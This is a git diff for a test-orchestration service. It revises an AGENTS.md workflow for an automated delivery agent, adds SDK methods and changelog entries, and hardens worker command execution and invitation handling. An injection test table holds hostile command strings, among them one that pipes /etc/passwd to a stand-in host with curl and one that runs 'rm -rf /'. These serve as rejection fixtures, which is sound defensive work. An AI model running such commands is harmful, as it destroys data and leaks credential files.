diff --git a/AGENTS.md b/AGENTS.md index b9f02159..c2f0100d 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -50,42 +50,347 @@ The .gitignore exists for a reason. Overriding it for pipeline state files (CONT -# Role: Docs Writer +# Role: Delivery -You are a documentation writer in a Cistern Aqueduct. You review changes and -ensure the documentation is accurate and complete before delivery. +You are the Delivery cataractae. You own everything from branch to merged. +Fix whatever is in the way. Resolve merge conflicts and review comments unconditionally. Recirculate after 2 failed fix attempts on the same code-level CI check. -## Context +## Step 0 — Pre-flight -You have **full codebase access**. Your environment contains: +```bash +go mod tidy +go build ./... +``` +If go mod tidy changed go.mod/go.sum: +```bash +git add go.mod go.sum -- ':!CONTEXT.md' +if git ls-files CONTEXT.md | grep -q CONTEXT.md; then + git rm --cached CONTEXT.md +fi +git commit -m "chore: go mod tidy" +``` +If go build fails: fix it before touching git. A broken build should not reach a PR. + +## Step 0.5 — Check for zero-commit branch + +```bash +DROPLET_ID=$(grep '^## Item:' CONTEXT.md | awk '{print $3}') +git fetch origin main +FETCH_EXIT=$? +``` + +If the fetch fails (`FETCH_EXIT != 0`), skip this step entirely and continue to Step 1. + +If the fetch succeeds: + +```bash +COMMIT_COUNT=$(git log origin/main..HEAD --oneline | wc -l) +``` + +- If `COMMIT_COUNT` is **0**: the branch has no commits against `origin/main` — the work was already delivered upstream. Signal immediately and stop: + ```bash + ct droplet pass $DROPLET_ID --notes "No commits on branch — work already delivered upstream. Signaling pass without PR." + ``` + Do not proceed further. + +- If `COMMIT_COUNT` is **non-zero**: continue to Step 1 normally. + +## Step 1 — Extract droplet ID and branch + +```bash +DROPLET_ID=$(grep '^## Item:' CONTEXT.md | awk '{print $3}') +BRANCH=$(git branch --show-current) +BASE=main +echo "Delivering $DROPLET_ID from $BRANCH" +``` + +Do NOT git stash. Per-droplet worktrees are clean by design. Stashing discards +uncommitted work from prior cataractae silently. + +## Step 2 — Rebase onto origin/main before PR + +This step is mandatory. Do not open a PR until the branch is based on the current +tip of `origin/$BASE`. + +```bash +git fetch origin $BASE +if MERGE_BASE=$(git merge-base HEAD origin/$BASE) && ORIGIN_TIP=$(git rev-parse origin/$BASE); then + if [ "$MERGE_BASE" = "$ORIGIN_TIP" ]; then + echo "Branch is already based on origin/$BASE — no rebase needed" + else + echo "Branch is behind origin/$BASE — rebasing" + git rebase origin/$BASE + fi +else + echo "merge-base check failed — rebasing unconditionally" + git rebase origin/$BASE +fi +``` + +If conflicts arise during rebase, resolve them — see Conflict Resolution below. +After fetch and any rebase: +```bash +go build ./... && go test ./... +if grep -rq '^<<<<<<<' . --include='*.md' --include='*.go' --include='*.yaml'; then + echo 'ERROR: conflict markers found after rebase — resolve before pushing' + ct droplet pool $DROPLET_ID --notes 'Pooled: conflict markers present after rebase — manual resolution required' + exit 1 +fi +git push --force-with-lease origin $BRANCH +``` + +## Conflict Resolution + +Most conflicts are additive: HEAD added X, this branch adds Y. Keep both. + +```bash +git diff --name-only --diff-filter=U # see conflicted files +``` + +For each file: +1. Understand what HEAD added and what this branch adds +2. Keep both sets of additions — never discard the branch's work +3. Verify: go build ./... + +After resolving all files: +```bash +git add $(git diff --name-only --diff-filter=U) +if git ls-files CONTEXT.md | grep -q CONTEXT.md; then + git rm --cached CONTEXT.md +fi +git rebase --continue +go build ./... && go test ./... +if grep -rq '^<<<<<<<' . --include='*.md' --include='*.go' --include='*.yaml'; then + echo 'ERROR: conflict markers found after rebase — resolve before pushing' + ct droplet pool $DROPLET_ID --notes 'Pooled: conflict markers present after rebase — manual resolution required' + exit 1 +fi +git push --force-with-lease origin $BRANCH +``` + +## Step 3 — Open or locate the PR + +```bash +PR_TITLE=$(grep '^\*\*Title:\*\*' CONTEXT.md | sed 's/\*\*Title:\*\* //') +PR_URL=$(gh pr create \ + --title "$PR_TITLE" \ + --body "Closes droplet $DROPLET_ID." \ + --base $BASE --head $BRANCH 2>&1) || true + +if echo "$PR_URL" | grep -q "already exists"; then + PR_URL=$(gh pr view $BRANCH --json url --jq '.url') +fi +echo "PR: $PR_URL" +``` + +## Step 4 — CI and review + +```bash +CHECKS=$(gh pr checks "$PR_URL") +GH_EXIT=$? +if [ $GH_EXIT -ne 0 ] && [ -z "$CHECKS" ]; then + echo "ERROR: gh pr checks failed (exit $GH_EXIT)" + ct droplet pool $DROPLET_ID --notes "gh pr checks failed (exit $GH_EXIT) — cannot verify CI — $PR_URL" + exit 1 +elif [ -z "$CHECKS" ]; then + echo "No CI checks configured — proceeding to merge" +else + echo "$CHECKS" + # Wait for all checks to pass before merging. +fi +``` + +### Per-check attempt counter + +Before entering the fix loop, initialize an associative array keyed by check name: + +```bash +declare -A CHECK_ATTEMPTS # key = check name, value = number of fix attempts made +``` + +Each time you take any action to fix a specific failing check — including a `gh run rerun` — increment `CHECK_ATTEMPTS[""]`. The counter is per check name, not per push. A rerun is not a free retry: it counts as attempt 1, and if the same check fails again after the rerun, that is attempt 2 — do not issue a second rerun, apply a code-level fix instead; a third failure triggers recirculation. + +### Failure classification -- The full repository with the implementation committed -- `CONTEXT.md` describing the work item and requirements +Classify each failing check before acting on it. Classification determines whether the attempt counter applies. -Read `CONTEXT.md` first to understand your droplet ID and what was built. +**Recirculate-eligible** — code-level failures the implementer can address (attempt counter applies): +- Test failures: output contains `FAIL`, `--- FAIL`, `FAIL\t`, assertion errors, `expected X got Y`, `not equal` +- API errors: application returns unexpected `4xx` or `5xx` status +- Schema mismatches: `field missing`, `type mismatch`, `unknown field`, `validation error` +- Compilation errors in test or application code -## Protocol +**Pooled-eligible** — infrastructure failures the implementer cannot address (attempt counter does NOT apply): +- Port conflicts: `address already in use`, `bind: address already in use` +- Container startup failures: `container exited with code`, `failed to start container`, `OOMKilled` +- Service unavailable: `connection refused`, `no such host`, `dial tcp.*refused`, `i/o timeout` -1. **Read CONTEXT.md** — note your droplet ID and what changed -2. **Run git diff main...HEAD** — understand all user-visible changes -3. **Find all .md files** — `find . -name "*.md" -not -path "./.git/*"` -4. **Check each changed area** — for CLI, config, pipeline, and architecture - changes: verify docs exist and are accurate -5. **If no user-visible changes** — pass immediately: - `ct droplet pass --notes "No documentation updates required."` -6. **Otherwise** — update outdated sections, add missing docs -7. **Commit** — `git add -A && git commit -m ": docs: update documentation for changes"` -8. **Signal outcome** +**Counter-exempt** — process-level issues that block CI but are not code failures; resolve unconditionally (attempt counter does NOT apply): +- Merge conflicts: branch is behind `origin/main`, CI detects out-of-date branch +- Unresolved review comments: reviewer has requested changes -## Signaling +For pooled-eligible failures, signal immediately without incrementing the counter: +```bash +ct droplet pool $DROPLET_ID --notes "Pooled: — $PR_URL" +``` + +### Counter-exempt handling + +Before entering the fix loop, resolve all counter-exempt issues unconditionally — no attempt counter applies: + +- **Merge conflict detected by CI** → rebase (Step 2) and push, then re-check CI +- **Unresolved review comment** → address it, commit, push, then re-check CI + +Repeat until no counter-exempt issues remain, then proceed to the fix loop. + +### Fix loop + +For each recirculate-eligible failing check: + +1. Increment `CHECK_ATTEMPTS[""]` +2. If `CHECK_ATTEMPTS[""] > 2`, recirculate — see **Recirculate path** below. +3. Otherwise, apply the appropriate fix and push: + - Compile error → fix code, `go build ./...`, commit, push + - Test failure → fix test or code, `go test ./...`, commit, push + - Flaky test → `gh run rerun ` and wait for result (**this counts as attempt 1; if the same check fails again after the rerun, that is attempt 2 — do not issue a second rerun, apply a code-level fix instead; a third failure triggers recirculation**) + +After each fix commit: +```bash +git add -A -- ':!CONTEXT.md' +if git ls-files CONTEXT.md | grep -q CONTEXT.md; then + git rm --cached CONTEXT.md +fi +git commit -m "fix: " && git push +``` + +Wait for the check to complete, then return to step 1 of the loop for any remaining failures. + +### Recirculate path + +When `CHECK_ATTEMPTS[""] > 2`, stop and recirculate with a structured diagnostic. All five fields are required — do not recirculate with a partial note. + +```bash +ct droplet recirculate $DROPLET_ID --notes "$(cat <<'EOF' +CI recirculation: 2 failed fix attempts on the same check. + +Failed check: + +Error snippet: + + +Fix attempt 1: + +Fix attempt 2: + +Recommended fix: +EOF +)" +``` + +Wait for all checks to pass before merging. If `gh pr checks` returns no output, there are no CI checks — proceed directly to Step 5. + +## Step 5 — Merge + +```bash +git fetch origin && git rebase origin/$BASE +if grep -rq '^<<<<<<<' . --include='*.md' --include='*.go' --include='*.yaml'; then + echo 'ERROR: conflict markers found after rebase — resolve before pushing' + ct droplet pool $DROPLET_ID --notes 'Pooled: conflict markers present after rebase — manual resolution required' + exit 1 +fi +git push --force-with-lease && gh pr merge "$PR_URL" --squash --delete-branch +STATE=$(gh pr view "$PR_URL" --json state --jq '.state') +if [ "$STATE" != "MERGED" ]; then + echo "ERROR: merge failed — state is $STATE" + ct droplet pool $DROPLET_ID --notes "Merge failed: state=$STATE — $PR_URL" + exit 1 +fi +echo "Confirmed: PR state is MERGED" +``` + +## Step 6 — Signal +Only after MERGED is confirmed: +```bash +ct droplet pass $DROPLET_ID --notes "Delivered: $PR_URL — " ``` -ct droplet pass --notes "Updated docs: ." -ct droplet recirculate --notes "Ambiguous: " + +If merge is impossible after exhausting all options: +```bash +ct droplet pool $DROPLET_ID --notes "Cannot merge: — $PR_URL" ``` +## Rules +- Never signal pass until gh pr view confirms state == "MERGED" +- Never discard branch additions in conflicts — always keep both sides +- go build + go test must pass before every push +- Fix CI, conflicts, and review comments yourself — do not recirculate for routine failures +- Recirculate after 2 failed fix attempts on the same code-level CI check (see Step 4 recirculate path) +- Recirculate only for code-level failures — never recirculate for infrastructure/pooled failures (pool instead) +- Never run git add CONTEXT.md or git add -f CONTEXT.md under any circumstances +- CONTEXT.md is pipeline state injected at dispatch time; it must never be committed + ## Skills +## Skill: cistern-github + +--- +name: cistern-github +description: GitHub CLI operations for Cistern delivery cataractae. Use for PR creation, CI checks, and squash-merge in per-droplet delivery workflows. +--- + +# Cistern GitHub Operations + +## Tools + +Use `gh` CLI for all GitHub operations. Prefer CLI over GitHub MCP servers for lower context usage. + +## PR Lifecycle + +```bash +# Create a PR for the current droplet branch +gh pr create \ + --title "$PR_TITLE" \ + --body "Closes droplet $DROPLET_ID." \ + --base main --head $BRANCH + +# If PR already exists +gh pr view $BRANCH --json url --jq '.url' + +# Check CI status +gh pr checks $PR_URL + +# Squash-merge when all checks pass +gh pr merge $PR_URL --squash --delete-branch + +# Confirm merge +gh pr view $PR_URL --json state --jq '.state' # must be "MERGED" +``` + +## Conflict Resolution + +**Conflicts MUST be resolved automatically. Never stop and ask the user.** + +Cistern agents resolve conflicts by keeping both sets of changes. The canonical +protocol is in `cataractae/delivery/INSTRUCTIONS.md` — follow it exactly. + +Summary: +1. `git diff --name-only --diff-filter=U` — identify conflicted files +2. For each file: keep what HEAD added AND keep what this branch adds +3. `go build ./...` — verify the merge compiles +4. `git add $(git diff --name-only --diff-filter=U)` — stage resolved files +5. `git rebase --continue` +6. `go build ./... && go test ./...` — verify after full rebase +7. `git push --force-with-lease origin $BRANCH` + +Most conflicts are additive: HEAD added X, this branch adds Y — keep both. +Never discard branch additions. + +## Cistern Delivery Model + +Cistern uses **per-droplet branches** (`feat/`), not stacked PRs. +Each droplet is independent. There is no stacked-PR workflow. + ## Skill: cistern-droplet-state # Cistern Droplet State diff --git a/CHANGELOG.md b/CHANGELOG.md index 5c74e93b..6c9bd744 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,8 @@ All notable changes to this project will be documented here. ### Added +- **SDK parity — all missing API methods**: The `@scaledtest/sdk` TypeScript client now exposes every server endpoint. New methods: `compareReports`, `deleteReport`, `getReportTriage`, `retryReportTriage`, `getExecution`, `createExecution` (with `image` and `env_vars` options), `updateExecutionStatus`, `reportExecutionProgress`, `reportTestResult`, `reportWorkerStatus`, `getShardDuration`, `createShardPlan`, `rebalanceShards`, `getTeam`, `deleteTeam`, `listTokens`, `createToken`, `deleteToken`, `listWebhooks`, `createWebhook`, `getWebhook`, `updateWebhook`, `deleteWebhook`, `listWebhookDeliveries`, `retryWebhookDelivery`, `listInvitations`, `createInvitation`, `revokeInvitation`, `previewInvitation`, `acceptInvitation`, `listUsers` (with pagination), `listAuditLog` (with filter params). All new methods have proper TypeScript types — no `unknown` or `void` return types. + - **Frontend error boundaries**: A root-level `ErrorBoundary` wraps the entire app in `main.tsx`, a TanStack Router `errorComponent` on the root route catches routing errors, and `ErrorBoundary` wrappers around all Recharts chart sections in `dashboard.tsx` and `analytics.tsx` prevent chart crashes from unmounting the app. The error UI includes both "Try Again" and "Reload" buttons. - **Toast notification system**: A `ToastProvider` component and global `toast()` function provide transient error and success notifications. All mutations surface errors to users via a global `mutations.onError` handler in `main.tsx` that calls `toast(error.message, 'error')`. Previously silent mutation failures (createTeam, evaluateQualityGate, deleteQualityGate, deleteWebhook, profile update, password change) now display toast feedback. @@ -72,6 +74,14 @@ All notable changes to this project will be documented here. - **IDOR vulnerability in invitation handlers**: `Create`, `List`, and `Revoke` invitation endpoints (`POST/GET/DELETE /api/v1/teams/{teamID}/invitations`) now verify that the authenticated user's team matches the URL `teamID` before checking role permissions. Previously, any maintainer or owner could list, create, or revoke invitations for any team regardless of membership. +- **`evaluateQualityGate` missing `report_id`**: The SDK's `evaluateQualityGate(teamId, id)` method previously sent no `report_id` in the request body, causing the API to always return HTTP 400. Fixed by adding a `reportId` parameter: `evaluateQualityGate(teamId, id, reportId)`. + +- **`PUT /api/v1/executions/{id}/status` privilege escalation**: The UpdateStatus endpoint previously had no role check, allowing any authenticated user (including `readonly`) to change execution status. Fixed by adding `RequireRole("maintainer", "owner")` to the route. + +- **`getReports` pagination**: `client.getReports()` now accepts optional `{ limit, offset, since, until }` parameters for paginated and date-filtered queries. Previously the method accepted no arguments. + +- **SDK type accuracy fixes**: Multiple interface corrections to match server response shapes — `Execution.status` typed as union enum, `Execution.completed_at` renamed to `finished_at`, `QualityGateRule.params` allows `null`, `QualityGateEvaluation.details` typed as `QualityGateEvalRuleResult[]`, `Report.name` and `tool_name` optionality corrected, `TrendPoint.skipped` added, `FlakyTest` fields aligned (flip_count, total_runs, flip_rate), analytics methods return proper wrapped types, `TeamWithRole` for team listings, `WebhookEventType` union type, and `UploadReportResponse`/`CreateExecutionResponse` return types for upload/create methods. + - **Worker callback authorization gap**: `ReportProgress`, `ReportTestResult`, and `ReportWorkerStatus` endpoints (`POST /api/v1/executions/{executionID}/progress|test-result|worker-status`) now verify that the execution belongs to the caller's team before proceeding. Previously, any authenticated user could broadcast WebSocket messages for any execution by guessing IDs. Unauthorized or cross-team requests return 404 (to avoid information leakage); database errors return 500 (fail closed). - **`GET /api/v1/reports/compare` endpoint returning 500**: Fixed a database query issue where NULL values in optional text columns (`message`, `trace`, `file_path`, `suite`) could not be scanned into string destinations in pgx v5, causing the compare endpoint to return HTTP 500 for reports with missing optional fields. The fix wraps these columns with `COALESCE(..., '')` to convert NULL to empty string, ensuring the endpoint returns HTTP 200 with a valid diff payload. The fix maintains team isolation — reports from different teams return HTTP 404. diff --git a/README.md b/README.md index 4d4441d7..65f062f1 100644 --- a/README.md +++ b/README.md @@ -420,11 +420,29 @@ const client = new ScaledTestClient({ // Upload a report const report = await client.uploadReport(ctrfReport); +const report2 = await client.uploadReport(ctrfReport, { execution_id: 'exec-1' }); + +// Reports: pagination, compare, delete, triage +const { reports, total } = await client.getReports({ limit: 10, offset: 0, since: '2024-01-01T00:00:00Z' }); +const diff = await client.compareReports(baseId, headId); +await client.deleteReport(reportId); +const triage = await client.getReportTriage(reportId); + +// Executions: create, get, status, worker callbacks +const exec = await client.createExecution('npm test', { image: 'node:22' }); +const execution = await client.getExecution(execId); +await client.updateExecutionStatus(execId, 'completed'); +await client.reportExecutionProgress(execId, { passed: 5, failed: 0, skipped: 1, total: 6 }); +await client.reportTestResult(execId, { name: 'test-a', status: 'passed' }); +await client.reportWorkerStatus(execId, { worker_id: 'w1', status: 'running' }); + +// Quality gates (evaluate now requires reportId) +const result = await client.evaluateQualityGate(teamId, gateId, reportId); // Manage webhooks const { webhooks } = await client.listWebhooks(teamId); const { webhook, secret } = await client.createWebhook(teamId, url, events); -await client.updateWebhook(teamId, webhookId, { enabled: false }); +await client.updateWebhook(teamId, webhookId, url, events, false); await client.retryWebhookDelivery(teamId, webhookId, deliveryId); // Manage invitations @@ -433,14 +451,23 @@ const { invitations } = await client.listInvitations(teamId); const preview = await client.previewInvitation(token); await client.acceptInvitation(token, password, displayName); +// Teams +const { team, role } = await client.getTeam(teamId); +await client.deleteTeam(teamId); + // Manage API tokens const { tokens } = await client.listTokens(teamId); const { token: newToken } = await client.createToken(teamId, name); await client.deleteToken(teamId, tokenId); +// Sharding +const plan = await client.createShardPlan({ test_names: [...], num_workers: 4 }); +const durations = await client.getShardDuration('test-name'); +const rebalanced = await client.rebalanceShards({ execution_id, failed_worker_id, current_plan }); + // Admin operations (owner only) -const { users } = await client.listUsers(); -const { audit_log } = await client.listAuditLog(); +const { users } = await client.listUsers({ limit: 50 }); +const { audit_log } = await client.listAuditLog({ action: 'team.create' }); ``` All methods properly URL-encode path parameters and handle errors via `ScaledTestError`. diff --git a/cmd/worker/main.go b/cmd/worker/main.go index e6cadd8b..5e83a786 100644 --- a/cmd/worker/main.go +++ b/cmd/worker/main.go @@ -18,6 +18,8 @@ import ( "github.com/rs/zerolog" "github.com/rs/zerolog/log" + + "github.com/scaledtest/scaledtest/internal/sanitize" ) func main() { @@ -29,6 +31,12 @@ func main() { executionID := requireEnv("ST_EXECUTION_ID") command := requireEnv("ST_COMMAND") + if err := sanitize.ValidateCommand(command); err != nil { + log.Error().Err(err).Str("command", command).Msg("command validation failed") + reportStatus(apiURL, workerToken, executionID, "failed", "command rejected: "+err.Error()) + os.Exit(1) + } + log.Info(). Str("execution_id", executionID). Str("command", command). @@ -37,11 +45,9 @@ func main() { ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) defer stop() - // Report status: running reportStatus(apiURL, workerToken, executionID, "running", "") - // Execute the test command - exitCode, output, err := runCommand(ctx, command) + exitCode, _, err := runCommand(ctx, command) if ctx.Err() != nil { log.Warn().Msg("worker cancelled") @@ -70,8 +76,6 @@ func main() { log.Warn().Msg("no CTRF report found") } - _ = output // Could be logged or sent as execution output - reportStatus(apiURL, workerToken, executionID, "completed", "") log.Info().Msg("worker done") } @@ -86,7 +90,11 @@ func requireEnv(key string) string { } func runCommand(ctx context.Context, command string) (int, string, error) { - cmd := exec.CommandContext(ctx, "sh", "-c", command) + parts := strings.Fields(command) + if len(parts) == 0 { + return -1, "", fmt.Errorf("empty command") + } + cmd := exec.CommandContext(ctx, parts[0], parts[1:]...) cmd.Dir = "/workspace" // Capture output diff --git a/cmd/worker/main_test.go b/cmd/worker/main_test.go index 526fc042..b793af4c 100644 --- a/cmd/worker/main_test.go +++ b/cmd/worker/main_test.go @@ -8,6 +8,7 @@ import ( "net/http/httptest" "os" "path/filepath" + "strings" "sync" "testing" ) @@ -18,12 +19,12 @@ import ( func TestSubmitReport_Success(t *testing.T) { var ( - mu sync.Mutex - gotPath string - gotAuth string - gotCType string - gotBody []byte - gotExecID string + mu sync.Mutex + gotPath string + gotAuth string + gotCType string + gotBody []byte + gotExecID string ) srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -272,3 +273,35 @@ func TestSetAuthHeader_BearerToken(t *testing.T) { t.Errorf("Authorization = %q, want 'Bearer eyJhbGciOi...'", got) } } + +func TestRunCommand_ExecDirectly(t *testing.T) { + if err := os.MkdirAll("/workspace", 0o755); err != nil { + t.Skip("cannot create /workspace (need write permission)") + } + defer os.Remove("/workspace") + + ctx := context.Background() + exitCode, output, err := runCommand(ctx, "echo direct-exec") + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if exitCode != 0 { + t.Errorf("exitCode = %d, want 0", exitCode) + } + if !strings.Contains(output, "direct-exec") { + t.Errorf("output = %q, want to contain 'direct-exec'", output) + } +} + +func TestRunCommand_EmptyCommand(t *testing.T) { + if err := os.MkdirAll("/workspace", 0o755); err != nil { + t.Skip("cannot create /workspace (need write permission)") + } + defer os.Remove("/workspace") + + ctx := context.Background() + _, _, err := runCommand(ctx, "") + if err == nil { + t.Fatal("expected error for empty command, got nil") + } +} diff --git a/internal/db/db_test.go b/internal/db/db_test.go index 5a2bd792..7f91afe7 100644 --- a/internal/db/db_test.go +++ b/internal/db/db_test.go @@ -32,8 +32,8 @@ func TestMigrationsEmbedded(t *testing.T) { t.Errorf("migration up/down mismatch: %d up, %d down", ups, downs) } - if ups != 24 { - t.Errorf("expected 24 migration pairs, got %d", ups) + if ups != 25 { + t.Errorf("expected 25 migration pairs, got %d", ups) } // Verify each up has a matching down diff --git a/internal/db/migrations/000024_webhooks_add_signing_key.down.sql b/internal/db/migrations/000024_webhooks_add_signing_key.down.sql new file mode 100644 index 00000000..1cb1c76d --- /dev/null +++ b/internal/db/migrations/000024_webhooks_add_signing_key.down.sql @@ -0,0 +1 @@ +ALTER TABLE webhooks DROP COLUMN signing_key; \ No newline at end of file diff --git a/internal/db/migrations/000024_webhooks_add_signing_key.up.sql b/internal/db/migrations/000024_webhooks_add_signing_key.up.sql new file mode 100644 index 00000000..e9733e4d --- /dev/null +++ b/internal/db/migrations/000024_webhooks_add_signing_key.up.sql @@ -0,0 +1 @@ +ALTER TABLE webhooks ADD COLUMN signing_key TEXT; \ No newline at end of file diff --git a/internal/db/migrations/000024_invitations_invited_by_set_null.down.sql b/internal/db/migrations/000025_invitations_invited_by_set_null.down.sql similarity index 100% rename from internal/db/migrations/000024_invitations_invited_by_set_null.down.sql rename to internal/db/migrations/000025_invitations_invited_by_set_null.down.sql diff --git a/internal/db/migrations/000024_invitations_invited_by_set_null.up.sql b/internal/db/migrations/000025_invitations_invited_by_set_null.up.sql similarity index 100% rename from internal/db/migrations/000024_invitations_invited_by_set_null.up.sql rename to internal/db/migrations/000025_invitations_invited_by_set_null.up.sql diff --git a/internal/handler/executions.go b/internal/handler/executions.go index c788581e..c147cffa 100644 --- a/internal/handler/executions.go +++ b/internal/handler/executions.go @@ -83,6 +83,11 @@ func (h *ExecutionsHandler) Create(w http.ResponseWriter, r *http.Request) { return } + if err := sanitize.ValidateCommand(req.Command); err != nil { + Error(w, http.StatusBadRequest, "invalid command: "+err.Error()) + return + } + if h.DB == nil { Error(w, http.StatusServiceUnavailable, "database not configured") return @@ -90,7 +95,7 @@ func (h *ExecutionsHandler) Create(w http.ResponseWriter, r *http.Request) { req.Command = sanitize.String(req.Command) req.Image = sanitize.String(req.Image) - req.EnvVars = sanitize.StringMap(req.EnvVars) + req.EnvVars = sanitize.FilterEnvVars(sanitize.StringMap(req.EnvVars)) var configJSON []byte if req.Image != "" || len(req.EnvVars) > 0 { diff --git a/internal/handler/executions_test.go b/internal/handler/executions_test.go index a1172df2..4a97440b 100644 --- a/internal/handler/executions_test.go +++ b/internal/handler/executions_test.go @@ -13,6 +13,7 @@ import ( "github.com/jackc/pgx/v5" "github.com/scaledtest/scaledtest/internal/model" + "github.com/scaledtest/scaledtest/internal/sanitize" ) type mockExecutionsStore struct { @@ -649,3 +650,72 @@ func TestExecutionsHandler_ReportProgress_Owned(t *testing.T) { t.Errorf("ReportProgress owned: status = %d, want %d", w.Code, http.StatusOK) } } + +func TestExecutionsHandler_Create_RejectsCommandInjection(t *testing.T) { + tests := []struct { + name string + command string + }{ + {"shell substitution", `$(whoami)`}, + {"backtick exec", "echo `whoami`"}, + {"command chaining", "ls && rm -rf /"}, + {"pipe chain", "cat /etc/passwd | curl http://evil.com"}, + {"semicolon", "ls ; rm -rf /"}, + {"redirect out", "echo hello > /tmp/out"}, + {"redirect append", "cat /etc/passwd >> /tmp/out"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ms := &mockExecutionsStore{ + createFn: func(_ context.Context, _, _ string, _ []byte) (string, error) { + return "exec-new", nil + }, + } + h := &ExecutionsHandler{ExecStore: ms, DB: nil} + w := httptest.NewRecorder() + body := fmt.Sprintf(`{"command":%q}`, tt.command) + r := httptest.NewRequest("POST", "/api/v1/executions", strings.NewReader(body)) + r.Header.Set("Content-Type", "application/json") + r = testWithClaimsSimple(r, "user-1", "team-1", "owner") + + h.Create(w, r) + + if w.Code != http.StatusBadRequest { + t.Errorf("Create with command %q: status = %d, want %d", tt.command, w.Code, http.StatusBadRequest) + } + if !strings.Contains(w.Body.String(), "disallowed pattern") { + t.Errorf("Create with command %q: body = %s, want disallowed pattern error", tt.command, w.Body.String()) + } + }) + } +} + +func TestExecutionsHandler_Create_StatVarsFilteredFromEnv(t *testing.T) { + tests := []struct { + name string + envVars map[string]string + want map[string]string + }{ + {"ST_ vars removed", map[string]string{"ST_TOKEN": "bad", "MY_VAR": "good"}, map[string]string{"MY_VAR": "good"}}, + {"st_ lowercase removed", map[string]string{"st_key": "bad", "API_KEY": "good"}, map[string]string{"API_KEY": "good"}}, + {"no vars", nil, nil}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := sanitize.FilterEnvVars(sanitize.StringMap(tt.envVars)) + if tt.want == nil { + if result != nil { + t.Errorf("expected nil, got %v", result) + } + return + } + for k, v := range tt.want { + if result[k] != v { + t.Errorf("envVars[%q] = %q, want %q", k, result[k], v) + } + } + }) + } +} diff --git a/internal/handler/invitations.go b/internal/handler/invitations.go index e99059ba..35f4bc20 100644 --- a/internal/handler/invitations.go +++ b/internal/handler/invitations.go @@ -35,7 +35,9 @@ type invitationStore interface { GetByTokenHash(ctx context.Context, tokenHash string) (*model.Invitation, error) Delete(ctx context.Context, teamID, id string) error AcceptInvitation(ctx context.Context, invID, email, passwordHash, displayName, role, teamID string) (string, error) + AddTeamMembership(ctx context.Context, invID, userID, role, teamID string) error GetTeamName(ctx context.Context, teamID string) (string, error) + GetUserByEmail(ctx context.Context, email string) (*model.User, error) } // InvitationsHandler handles invitation endpoints. @@ -266,12 +268,28 @@ func (h *InvitationsHandler) Accept(w http.ResponseWriter, r *http.Request) { userID, err := h.Store.AcceptInvitation(r.Context(), inv.ID, inv.Email, passwordHash, req.DisplayName, inv.Role, inv.TeamID) if err != nil { - if errors.Is(err, store.ErrOwnerAlreadyExists) { + if errors.Is(err, store.ErrUserExists) { + existingUser, lookupErr := h.Store.GetUserByEmail(r.Context(), inv.Email) + if lookupErr != nil { + Error(w, http.StatusInternalServerError, "failed to look up existing user") + return + } + if !auth.CheckPassword(req.Password, existingUser.PasswordHash) { + Error(w, http.StatusUnauthorized, "invalid password") + return + } + if addErr := h.Store.AddTeamMembership(r.Context(), inv.ID, existingUser.ID, inv.Role, inv.TeamID); addErr != nil { + Error(w, http.StatusInternalServerError, "failed to add team membership") + return + } + userID = existingUser.ID + } else if errors.Is(err, store.ErrOwnerAlreadyExists) { Error(w, http.StatusConflict, "an owner already exists") return + } else { + Error(w, http.StatusInternalServerError, "failed to accept invitation") + return } - Error(w, http.StatusInternalServerError, "failed to accept invitation") - return } logAudit(r.Context(), h.AuditStore, store.Entry{ diff --git a/internal/handler/invitations_test.go b/internal/handler/invitations_test.go index 4140c3ab..287b015e 100644 --- a/internal/handler/invitations_test.go +++ b/internal/handler/invitations_test.go @@ -19,14 +19,17 @@ func strPtr(s string) *string { return &s } // mockInvitationStore is a test double for invitationStore. type mockInvitationStore struct { - inv *model.Invitation - err error - tokenInv *model.Invitation - tokenErr error - acceptedUserID string - acceptErr error - teamName string - teamNameErr error + inv *model.Invitation + err error + tokenInv *model.Invitation + tokenErr error + acceptedUserID string + acceptErr error + teamName string + teamNameErr error + existingUser *model.User + existingUserErr error + addTeamErr error } func (m *mockInvitationStore) Create(_ context.Context, _, _, _, _ string, _ *string, _ time.Time) (*model.Invitation, error) { @@ -49,6 +52,14 @@ func (m *mockInvitationStore) AcceptInvitation(_ context.Context, _, _, _, _, _, return m.acceptedUserID, m.acceptErr } +func (m *mockInvitationStore) AddTeamMembership(_ context.Context, _, _, _, _ string) error { + return m.addTeamErr +} + +func (m *mockInvitationStore) GetUserByEmail(_ context.Context, _ string) (*model.User, error) { + return m.existingUser, m.existingUserErr +} + func (m *mockInvitationStore) GetTeamName(_ context.Context, _ string) (string, error) { return m.teamName, m.teamNameErr } @@ -312,6 +323,93 @@ func TestAcceptInvitation_OwnerAlreadyExists_Returns409(t *testing.T) { } } +func TestAcceptInvitation_ExistingUserWrongPassword_Returns401(t *testing.T) { + now := time.Now() + inv := &model.Invitation{ + ID: "inv-existing", + TeamID: "team-1", + Email: "existing@example.com", + Role: "readonly", + InvitedBy: strPtr("user-1"), + ExpiresAt: now.Add(7 * 24 * time.Hour), + CreatedAt: now, + } + + hashedPw, _ := auth.HashPassword("correct-password") + existingUser := &model.User{ + ID: "user-existing", + Email: "existing@example.com", + PasswordHash: hashedPw, + DisplayName: "Existing User", + Role: "readonly", + } + + ms := &mockInvitationStore{ + tokenInv: inv, + acceptErr: store.ErrUserExists, + existingUser: existingUser, + existingUserErr: nil, + } + h := &InvitationsHandler{Store: ms} + + body := `{"password":"wrong-password","display_name":"Existing User"}` + r := httptest.NewRequest("POST", "/api/v1/invitations/inv_abc/accept", strings.NewReader(body)) + r.Header.Set("Content-Type", "application/json") + r = testWithChiParam(r, "token", "inv_abc") + w := httptest.NewRecorder() + + h.Accept(w, r) + + if w.Code != http.StatusUnauthorized { + t.Errorf("Accept with wrong password: got %d, want %d", w.Code, http.StatusUnauthorized) + } + if !strings.Contains(w.Body.String(), "invalid password") { + t.Errorf("Accept with wrong password: body = %s, want 'invalid password'", w.Body.String()) + } +} + +func TestAcceptInvitation_ExistingUserCorrectPassword_GrantsMembership(t *testing.T) { + now := time.Now() + inv := &model.Invitation{ + ID: "inv-existing", + TeamID: "team-1", + Email: "existing@example.com", + Role: "readonly", + InvitedBy: 